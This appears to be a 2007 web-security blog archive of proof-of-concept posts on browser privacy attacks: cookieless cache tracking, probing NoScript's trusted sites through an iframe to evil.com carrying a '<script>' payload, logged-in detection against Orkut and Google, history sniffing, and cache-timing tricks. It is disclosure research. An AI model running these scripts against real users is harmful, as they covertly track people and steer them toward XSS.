There are several methods that browsers and web servers use to speed up browsing, so that less data needs to be transfered over the network, two of these methods are the ETag/If-None-Match and Last-Modified/If-Modified-Since headers. The premise is fairly simple for both.
With the ETag/If-None-Match headers, the server simply sends an ETag header for a resource the first time it is requested, and then sends the page - the next time the browser needs the same resource it sends an If-None-Match header, and sends the parameter the server returned in the ETag response header, as the parameter for the If-None-Match request header.
If the server responds with a 304 Not Modified status, and does not return a message body (it MUST NOT return a message body), then the ETag is preserved in the cache, and the browser will keep sending the same If-None-Match header until the cache is deleted, as long as it keeps getting 304 replies.
The system is identical, just with different header names for the Last-Modified/If-Modified-Since headers.
Sadly though, the ETag/if-None-Match headers are only supported by Firefox, whereas the Last-Modified/If-Modified-Since headers are supported in Firefox and IE - to my knowledge (through my testing) none of these headers are supported in Opera.
As such it would be better to use the Last-Modified/If-Modified-Since headers.
All you need to do now is embed a tracking image in each page, and send a unique date each time no If-Modified-Since header is sent, and a blank 304 response at all other times.
The biggest problem here though is that you do need a separate http request, and as such the only way to associate requests is per IP and time frame, e.g. any request made <=10 seconds before the request for a particular date/etag from, the same IP, is the same user. You could also try using the Referer header, but the odds of someone denying cookies, but sending Referers is very low, IMO.
You could also use Javascript instead of images, and then you would be able to link requests more easily, but it would require you make an additional request from that page with the URL in the query string and tracking id, or similar.
You would still need to use one of these techniques though, because you need to serve different pieces of javascript to different people, and have that piece of javascript cached as long as possible.
But even given this, this allows you a method to track users who deny cookies between browsing sessions - for tighter correlation during browsing sessions you could use Jeremiah Grossman's Basic Auth Tracking
P.S. This is stored with the other cache data, so this will only work as long as the image/resource is cached, and clearing the ache manually (or turning the cache off) will stop this technique.
Showing posts with label Detection. Show all posts
Showing posts with label Detection. Show all posts
Saturday, May 19, 2007
Wednesday, May 16, 2007
Determining sites trusted by NoScript
With the (relatively) new XSS filter added to NoScript it has become possible to determine whether a site is trusted or untrusted by seeing if NoScript decides to take action - of course this is not 100% accurate, since all these features can be turned off, but if they are turned off then you can execute some attacks anyway.
The easiest method to determine whether a site is trusted is to use an open redirect, because you have control over where a site is sending a user, and as such can use the following two pieces of code to check whether google.com.au is trusted:
detect.php:
query.php:
The server generated id is not even actually necessary since you can just store the info in a PHP session, but it is possible to 'attack' people who even have cookies disabled.
Now, a much more difficult task is attacking non-open redirects. Two things which limit this are:
The solution to the first problem lies here: http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/
The solution to the second problem is a bit trickier, and relies on the 'usual' implementation of these systems, rather than a versatile technique.
Most systems which perform closed redirection have URLs which look like:
Where the id value is first run through intval(), then put directly into an SQL statement.
Now, we can exploit this fact by sending people to a URL like this:
Whereby if the www.site.com is trusted then we will not be redirected anywhere because the URL will be filtered to look like this:
And since the id does not begin with a digit, the value of the variable, once put through intval() is 0, and either no redirect, or a completely different redirect will be done.
If the site is untrusted though, then the URL will be unfiltered, and when the id is run through intval, it will evaluate to 123, and so the user will be redirected to the usual place.
If you can control any off-site resources such as images which a site embeds, then simply putting an ID in one parameter, and <script> in another, will cause the referer to be different on Trusted and Untrusted sites.
The methods above though all rely on a webapp having some kind of specific web feature, and while they're interesting (and that is the reason I included them), a generic method will prove far more useful.
And this generic method is extremely simple; just use the non-javascript history hack to find out what exact URLs a person has been to.
If you send a user to:
And the history hack says the user has been to
Then the site is obviously trusted.
These techniques can be used to either gather data about the user ala the Master Recon Tool (Mr. T) or the Black Dragon Project, or more importantly aid an attacker in bypassing NoScript's filters by finding which sites are trusted, and then either using those sites as a means of propagation (i.e. Emailing/PM-ing a user a link), or by sending a user to a persistent or DOM Based XSS on one of those sites.
Since we do not have Javascript we need to be a bit tricky on how to actually use the info. The cleanest method is if you have a persistent or DOM based XSS in another site, then instead of simply sending data back to your server to be analysed you can have the CSS only History hack render an iframe which loads an iframe from your server, which redirects the user to the persistent or DOM based XSS in the trusted site.
The other method is having a iframe which refreshes every 5 seconds, which sends a request to the server, and the server will then try to aggregate all the data its collected, and act on it.
Why would you want to do this rather than sending the user to every single persistent and DOM based XSS condition you have?
Beats me; I just thought this was interesting.....
Open Redirect
The easiest method to determine whether a site is trusted is to use an open redirect, because you have control over where a site is sending a user, and as such can use the following two pieces of code to check whether google.com.au is trusted:
detect.php:
<html>
<body>
<iframe src="http://www.google.com.au/local_url?q=http://www.evil.com/XSS/query.php%3FServer_Generated_ID=%3Cscript%3E%26"></iframe>
</body>
</html>query.php:
<?php
if (strpos($_SERVER['QUERY_STRING'], "=") !== FALSE) {
print "Untrusted!";
} else {
print "Trusted!<br />\n";
print "For ID: ".$_SERVER['QUERY_STRING'];
}
?>The server generated id is not even actually necessary since you can just store the info in a PHP session, but it is possible to 'attack' people who even have cookies disabled.
Non-Open Redirects
Now, a much more difficult task is attacking non-open redirects. Two things which limit this are:
- We cannot use Javascript to determine where you've been.
- We cannot actually pass a parameter to where we will be redirected.
The solution to the first problem lies here: http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/
The solution to the second problem is a bit trickier, and relies on the 'usual' implementation of these systems, rather than a versatile technique.
Most systems which perform closed redirection have URLs which look like:
http://www.site.com/redir.php?id=123Where the id value is first run through intval(), then put directly into an SQL statement.
Now, we can exploit this fact by sending people to a URL like this:
http://www.site.com/closedredir.php?id=123%26id=%3Cscript%3EWhereby if the www.site.com is trusted then we will not be redirected anywhere because the URL will be filtered to look like this:
http://www.site.com/redir.php?id=%3F123%26id%3DAnd since the id does not begin with a digit, the value of the variable, once put through intval() is 0, and either no redirect, or a completely different redirect will be done.
If the site is untrusted though, then the URL will be unfiltered, and when the id is run through intval, it will evaluate to 123, and so the user will be redirected to the usual place.
Controlled Off-Site Resources
If you can control any off-site resources such as images which a site embeds, then simply putting an ID in one parameter, and <script> in another, will cause the referer to be different on Trusted and Untrusted sites.
Generic Method
The methods above though all rely on a webapp having some kind of specific web feature, and while they're interesting (and that is the reason I included them), a generic method will prove far more useful.
And this generic method is extremely simple; just use the non-javascript history hack to find out what exact URLs a person has been to.
If you send a user to:
http://www.site.com/page.php?param=%3Ctest%3EAnd the history hack says the user has been to
http://www.site.com/page.php?param=%20test%20Then the site is obviously trusted.
Uses
These techniques can be used to either gather data about the user ala the Master Recon Tool (Mr. T) or the Black Dragon Project, or more importantly aid an attacker in bypassing NoScript's filters by finding which sites are trusted, and then either using those sites as a means of propagation (i.e. Emailing/PM-ing a user a link), or by sending a user to a persistent or DOM Based XSS on one of those sites.
Final notes
Since we do not have Javascript we need to be a bit tricky on how to actually use the info. The cleanest method is if you have a persistent or DOM based XSS in another site, then instead of simply sending data back to your server to be analysed you can have the CSS only History hack render an iframe which loads an iframe from your server, which redirects the user to the persistent or DOM based XSS in the trusted site.
The other method is having a iframe which refreshes every 5 seconds, which sends a request to the server, and the server will then try to aggregate all the data its collected, and act on it.
Why would you want to do this rather than sending the user to every single persistent and DOM based XSS condition you have?
Beats me; I just thought this was interesting.....
Labels:
Detection,
Extension Hacking,
Security (All),
Web App Sec,
XSS
Monday, February 26, 2007
More Authenticated Redirect Abuse
A while ago I wrote two posts entitled Detecting Logged In Users and More Logged In User Detection via Authenticated Redirects.
Today I want to expand a bit more on how Authenticated redirects can be abused.
I want to talk about how you can abuse authenticated redirects which only redirect to certain domains (i.e. not yours), and not get stopped by extensions such as SafeHistory and SafeCache.
If we can redirect to any resource on a server it is quite reasonable to assume that we can redirect to either an image or a piece of javascript.
First of all, lets say our redirection script that exists on http://target.com/redir.php looks like this: (Ignore the fact that if it was an old version of PHP it would be vulnerable to response splitting, and the fact that parse_url doesn't validate URLs);
Knowing that we can redirect to any resource on the server we can create something like the following:
We could also redirect to javascript objects and overwrite the functions it calls,so that we know when it executes, but that's a whole lot more work.
Also, one other thing I failed to mention in either of the two previous posts, is that the technique I described in them can be used in any situation where something is loaded into the history, which includes iframes, popups, etc - but they are of course much less common.
Today I want to expand a bit more on how Authenticated redirects can be abused.
I want to talk about how you can abuse authenticated redirects which only redirect to certain domains (i.e. not yours), and not get stopped by extensions such as SafeHistory and SafeCache.
If we can redirect to any resource on a server it is quite reasonable to assume that we can redirect to either an image or a piece of javascript.
First of all, lets say our redirection script that exists on http://target.com/redir.php looks like this: (Ignore the fact that if it was an old version of PHP it would be vulnerable to response splitting, and the fact that parse_url doesn't validate URLs);
<?php
session_start();
if ($_SESSION['logged_in'] == true) {
if ( is_string($_GET['r']) ) {
$url_array = parse_url ($_GET['r']);
if ($url_array['host'] == $_SERVER['SERVER_NAME']) {
header ("Location: " . $_GET['r']);
die();
}
}
}
header ("Location: http://" . $_SERVER['SERVER_NAME'] . "/index.php");
?>Knowing that we can redirect to any resource on the server we can create something like the following:
<html>
<body>
<img src="http://target.com/redir.php?r=http://target.com/images/logo.png" onload="alert('logged in');" onerror="alert('not logged in');" />
</body>
</html>We could also redirect to javascript objects and overwrite the functions it calls,so that we know when it executes, but that's a whole lot more work.
Also, one other thing I failed to mention in either of the two previous posts, is that the technique I described in them can be used in any situation where something is loaded into the history, which includes iframes, popups, etc - but they are of course much less common.
Labels:
Detection,
Security (All),
Web App Sec
Tuesday, February 13, 2007
A Better Web Cache Timing Attack
I've been thinking on whether I should bother writing an actual paper on this or not, but when I found that Princeton had already written a pretty decent paper on Web Cache timing attacks back in 2000, which you can find here: http://www.cs.princeton.edu/sip/pub/webtiming.pdf I decided against it.
If you read the paper you will see that the attack relies on the user of two images to determine if the images are cached by determining if there is a dramatic change in loading times between getting the timing for one image, then loading a page which caches both images, and then getting the timing for the second image. If there is a significant difference, then then the first image had not been cached, and they had therefore not visited the page; whereas if there was no significant difference then the image was already cached, and therefore the page had been viewed before.
Now, this suffers from the fact that you do actually need two images which are ONLY displayed together, because otherwise your results will be erroneous, and not only that; but it requires that the images are approximately the same size so that your inferences about cache state are accurate.
A much better solution is to be able to determine the time it takes to retrieve a cached and non-cached version of an image by supplying request parameters, e.g. http://www.example.com/image?test=123456
The first thing we do is generate a random request string, and make a request for that image, and we now have the approximate time it should take to get the image when it is not cached, and we then make a second request to see how long the image takes to load when it is cached, and by generating a large amount of query strings to test we can get more accurate amounts.
We then make a request for the image without any request parameters and see which averaged value it is closer to, and then determine cache state.
This benefits from the fact that not only does there only need to be one image, and we can therefore find a page with a large photo or similar to give us a greater margin for error, but we also do not need to find a page with two images of equal size because we will always be making requests for the same size image.
Sadly not quite as effective as the attack against the SafeCache extension, but that's why its a timing attack I guess, :)
If you read the paper you will see that the attack relies on the user of two images to determine if the images are cached by determining if there is a dramatic change in loading times between getting the timing for one image, then loading a page which caches both images, and then getting the timing for the second image. If there is a significant difference, then then the first image had not been cached, and they had therefore not visited the page; whereas if there was no significant difference then the image was already cached, and therefore the page had been viewed before.
Now, this suffers from the fact that you do actually need two images which are ONLY displayed together, because otherwise your results will be erroneous, and not only that; but it requires that the images are approximately the same size so that your inferences about cache state are accurate.
A much better solution is to be able to determine the time it takes to retrieve a cached and non-cached version of an image by supplying request parameters, e.g. http://www.example.com/image?test=123456
The first thing we do is generate a random request string, and make a request for that image, and we now have the approximate time it should take to get the image when it is not cached, and we then make a second request to see how long the image takes to load when it is cached, and by generating a large amount of query strings to test we can get more accurate amounts.
We then make a request for the image without any request parameters and see which averaged value it is closer to, and then determine cache state.
This benefits from the fact that not only does there only need to be one image, and we can therefore find a page with a large photo or similar to give us a greater margin for error, but we also do not need to find a page with two images of equal size because we will always be making requests for the same size image.
Sadly not quite as effective as the attack against the SafeCache extension, but that's why its a timing attack I guess, :)
Labels:
Detection,
Security (All),
Web App Sec
Saturday, February 10, 2007
Attacking the SafeCache Firefox Extension
Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using the domain for his blog, so I'm moving all my content here:
The SafeCache extension is yet another good idea in browser security to come out of Stanford University. Essentially it extends the browser same origin policy to the browser cache to defend against cache timing attacks. You can find more info about it here: http://www.safecache.com/
Now while I have not looked at the source code to the extension, I have devised a method for not only being able to perform timing attacks, but to be able to directly determine whether or not the objects you are trying to find info about are in the cache or not.
It seems that if you create an iframe element where the src attribute points to the resource whose cache state you want to query, then the onload event will fire only if the item is not in any cache.
To test this either login to Gmail, or go to http://mail.google.com/mail/help/images/logo.gif and then create a page like the following:
And you will notice that the onload element does not fire. Then if you press Ctrl+Shift+Del and delete the cache, then visit the html page you just created again, the onload event will fire.
If you refresh the page, the onload event will not fire a second time because the image is already in the cache.
So while it stops standard cache timing attacks, it does not stop attacks against itself.
The SafeCache extension is yet another good idea in browser security to come out of Stanford University. Essentially it extends the browser same origin policy to the browser cache to defend against cache timing attacks. You can find more info about it here: http://www.safecache.com/
Now while I have not looked at the source code to the extension, I have devised a method for not only being able to perform timing attacks, but to be able to directly determine whether or not the objects you are trying to find info about are in the cache or not.
It seems that if you create an iframe element where the src attribute points to the resource whose cache state you want to query, then the onload event will fire only if the item is not in any cache.
To test this either login to Gmail, or go to http://mail.google.com/mail/help/images/logo.gif and then create a page like the following:
<html>
<body>
<script>
function loaded() {
var time = new Date();
var t2 = time.getTime();
alert(t2- t1);
}
var time = new Date();
var t1 = time.getTime();
</script>
<iframe src="http://mail.google.com/mail/help/images/logo.gif" onload="loaded()">
</iframe>
</body>
</html>And you will notice that the onload element does not fire. Then if you press Ctrl+Shift+Del and delete the cache, then visit the html page you just created again, the onload event will fire.
If you refresh the page, the onload event will not fire a second time because the image is already in the cache.
So while it stops standard cache timing attacks, it does not stop attacks against itself.
Labels:
Detection,
Extension Hacking,
Firefox,
Security (All),
Web App Sec
Sunday, January 21, 2007
Detecting Javascript .focus() in iframes to Detect Logged In Status (IE only)
I've been playing around with a lot of ways to detect if users are logged in, but I haven't published many of them so here's yet another way to detect if users are logged in.
One thing many sites (google sites in this example) do is use the Object.focus() method to set the focus to a login form.
And in IE; if the object getting focused on is in an iframe, the iframe also gets focused on, which is an event which we can easily detect, so if we have an iframe to which there is no way a user can themselves set the focus to, and it gains focus, this should tell us that the content of the iframe set the focus to something, and the user is therefore not logged in, if after a few seconds of it being loaded but not gaining focus we can very safely assume it didn't try to, and the user is therefore logged in.
Here's a quick PoC for Orkut:
One thing many sites (google sites in this example) do is use the Object.focus() method to set the focus to a login form.
And in IE; if the object getting focused on is in an iframe, the iframe also gets focused on, which is an event which we can easily detect, so if we have an iframe to which there is no way a user can themselves set the focus to, and it gains focus, this should tell us that the content of the iframe set the focus to something, and the user is therefore not logged in, if after a few seconds of it being loaded but not gaining focus we can very safely assume it didn't try to, and the user is therefore logged in.
Here's a quick PoC for Orkut:
<html>
<body>
<script>
var logged = true;
function check () {
if (logged == true) {
alert('You ARE logged into orkut');
}
}
</script>
<iframe src="https://www.orkut.com/News.aspx" onFocus="if (logged == true) { alert('You are NOT logged into Orkut.'); logged = false;}" onLoad="window.setTimeout ('check()', 1000);" width=0 height=0></iframe>
</body>
</html>
Labels:
Detection,
Security (All),
Web App Sec
Monday, January 01, 2007
More Logged In User Detection via Authenticated Redirects
Ok, so what's changed since the 30th when I posted about this under a different name (Semi-Open Redirects), well, I thought of a better name and some new ways to exploit Authenticated Redirects.
Authenticated redirects should be self-explanatory, but essentially I just mean redirects which don't redirect you if you aren't logged on (or ones which redirect you only if you aren't logged on, but its a good enough name for me anyway).
Now, in my post about Semi-Open redirects, one of the constraints I hadn't thought of a circumvention for was the need to have an open redirect, so you could control where it redirects.
Since then I've realised that its not always necessary to control where the redirect sends users. Because we can already check if a user has visited a page through the CSS history hack!
Some common types of authenticated redirects which you can find on the internet are download pages which you need to login to view, which use redirects to track how many people are getting sent to each download or other link.
But anyway, these redirects are abundant, so here's the source to a working PoC for Orkut:
Note: This PoC works on the principal that Orkut redirects you to a login page with the URL of where you wanted to go in the URL, and so we create URL with a random number appended to the URL, and then we see if you were redirected to the login URL.
Oh, and credit to Christian Heilmann whose CSS detecting code I essentially stole, because he was the first one smart enough to get it working in all browsers and post the working version in a comment on Jeremiah's blog. If anyone is interested I ripped the code from here: http://icant.co.uk/sandbox/nickhistory.html
Authenticated redirects should be self-explanatory, but essentially I just mean redirects which don't redirect you if you aren't logged on (or ones which redirect you only if you aren't logged on, but its a good enough name for me anyway).
Now, in my post about Semi-Open redirects, one of the constraints I hadn't thought of a circumvention for was the need to have an open redirect, so you could control where it redirects.
Since then I've realised that its not always necessary to control where the redirect sends users. Because we can already check if a user has visited a page through the CSS history hack!
Some common types of authenticated redirects which you can find on the internet are download pages which you need to login to view, which use redirects to track how many people are getting sent to each download or other link.
But anyway, these redirects are abundant, so here's the source to a working PoC for Orkut:
<html>
<body>
<script type="text/javascript">
function iframe_callback() {
if(temp.offsetHeight==1){
alert('You are NOT logged into Orkut.');
} else {
alert('You ARE logged into Orkut.');
}
c.removeChild (temp);
document.body.removeChild(orkut_iframe);
}
document.write( '<style type="text/css">#nicked a:link{color:#fff;}' );
document.write( '#nicked a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}' );
document.write( '#nicked{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>' );
var c = document.createElement('div');
c.id='nicked';
document.body.appendChild(c)
var visited = true;
var temp = document.createElement('a');;
temp.innerHTML = 'test';
c.appendChild(temp);
var random, link;
while (visited == true) {
random=Math.floor(Math.random()*1000000);
link = 'https://www.orkut.com/GLogin.aspx?done=https%3A%2F%2Fwww.orkut.com%2FNews.aspx%3Ftest%3D' + random;
temp.href=link;
if(temp.offsetHeight!=1){
visited = false;
}
}
var orkut_iframe = document.createElement('iframe');
orkut_iframe.src = 'https://www.orkut.com/News.aspx?test=' + random;
orkut_iframe.style.display = 'none';
orkut_iframe.onload = iframe_callback;
document.body.appendChild(orkut_iframe);
</script>
</body>
</html>Note: This PoC works on the principal that Orkut redirects you to a login page with the URL of where you wanted to go in the URL, and so we create URL with a random number appended to the URL, and then we see if you were redirected to the login URL.
Oh, and credit to Christian Heilmann whose CSS detecting code I essentially stole, because he was the first one smart enough to get it working in all browsers and post the working version in a comment on Jeremiah's blog. If anyone is interested I ripped the code from here: http://icant.co.uk/sandbox/nickhistory.html
Labels:
Detection,
General Security,
Web App Sec
Saturday, December 30, 2006
Detecting Logged In Users
This summary is not available. Please
click here to view the post.
Labels:
Detection,
Security (All),
Web App Sec
Subscribe to:
Posts (Atom)